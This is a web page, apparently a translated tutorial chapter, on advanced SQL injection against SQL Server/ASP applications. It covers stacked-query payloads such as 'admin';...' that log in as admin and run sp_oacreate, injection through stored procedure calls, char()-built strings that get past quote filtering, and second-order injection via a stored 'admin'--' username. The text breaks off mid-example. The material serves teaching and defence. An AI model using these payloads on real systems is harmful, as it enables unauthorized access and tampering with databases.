程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server的高級Sql注入(6)

SQL Server的高級Sql注入(6)

編輯:關於SqlServer

declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'

這當然也可以在我們的例子裡使用,通過指定下面的'username'(注意例子不只是注入一段腳本,同時也以'admin'的身份登陸了程序)

用戶名: admin';declare @o int, @ret int exec sp_oacreate 'speech.voicetext',@o out exec sp_oamethod @o, 'register', NULL, 'foo','bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'-

[存儲過程]

傳統的認識是如果ASP程序使用了數據庫系統的存儲過程,那麼就不可能SQL注入了。這句話不完全對,這依賴於ASP腳本調用存儲過程的方式。

本質上,一個帶參數的查詢執行了,用戶提供的參數就被安全的傳給查詢,SQL注入就不可能了。但是,如果攻擊者可以對無數據部分的查詢語句施加任何影響,他們仍然可能控制數據庫。

一個有用的規則是:

1. 如果ASP腳本創建了一個提交給服務器的SQL查詢語句,這是很容易被SQL注入的,即使它使用了存儲過程。
2. 如果ASP腳本使用了封裝傳遞參數給存儲過程的過程對象(如ADO command對象,和參數集合一起使用的)那麼它通常就很安全了,但是這還要取決於對象的執行。

明顯的,最好習慣於驗證所有的用戶輸入,因為新的攻擊技術會不停的湧現。

為了說明存儲過程查詢的注入,運行下面的SQL語句:

sp_who '1' select * from sysobjects

或者

sp_who '1' ; select * from sysobjects

任何附加語句在存儲過程執行後還是可以執行。

[高級Sql注入]

一個應用程序通常過濾單引號,另一方面限制用戶的輸入,比如限制長度。

在這裡,我們將討論一些繞過一些明顯的SQL注入防范的和長度限制的技巧。

[沒有符號的字符串]

有時候,開發人員可能已經通過過濾單引號來保護應用程序,比如用VBScript的'replace'函數:

function escape( input )
input = replace(input, "'", "''")
escape = input
end function

不可否認,這會阻止所有的對我們上面給出的對示例站點的攻擊,刪除';'字符也會起作用。但是,在一個大的程序裡一些用戶輸入可能被假定為數值型。這些值沒有限制,提供了很多可以注入的地方。

如果攻擊者希望創建一個字符串值而不使用引號,他們可以用'char'函數。例如:

insert into users values( 666,
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),
0xffff)

它是一個往表裡插入字符的不帶引號的查詢語句。

當然,如果攻擊者使用一個數值型的用戶名和密碼的話,下面的語句也同樣可以很好的執行:

insert into users values( 667,
123,
123,
0xffff)

因為SQL-Server自動將數值型的轉換成'varchar'類型,類型轉換是默認的。

[SQL二次注入]

即使一個程序總是過濾單引號,攻擊者仍然可以先注入SQL作為數據存放在數據庫裡然後被程序再次使用。

比如,一個攻擊者可能通過注冊,創建一個用戶名

Username: admin'--
Password: passWord

程序正確的過濾了單引號,'insert'語句如下:

insert into users values ( 123, 'admin''--', 'passWord', 0xffff)

我們假設程序允許用戶更改密碼,ASP腳本在設置新的密碼前先確認用戶舊密碼正確。代碼可能這樣寫:

username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassWord") );
newpassword = escape( Request.form("newpassWord") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + oldpassWord + "'";
rso.open( sql, cn );
if (rso.EOF)
{

設置新密碼的查詢語句可能這樣寫的:

sql = "update users set password = '" + newpassWord + "' where username = '" + rso("username") + "'"

rso("username")是登陸的查詢返回的的用戶名。

用戶名為admin'--,上面的查詢就變成了這樣:

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved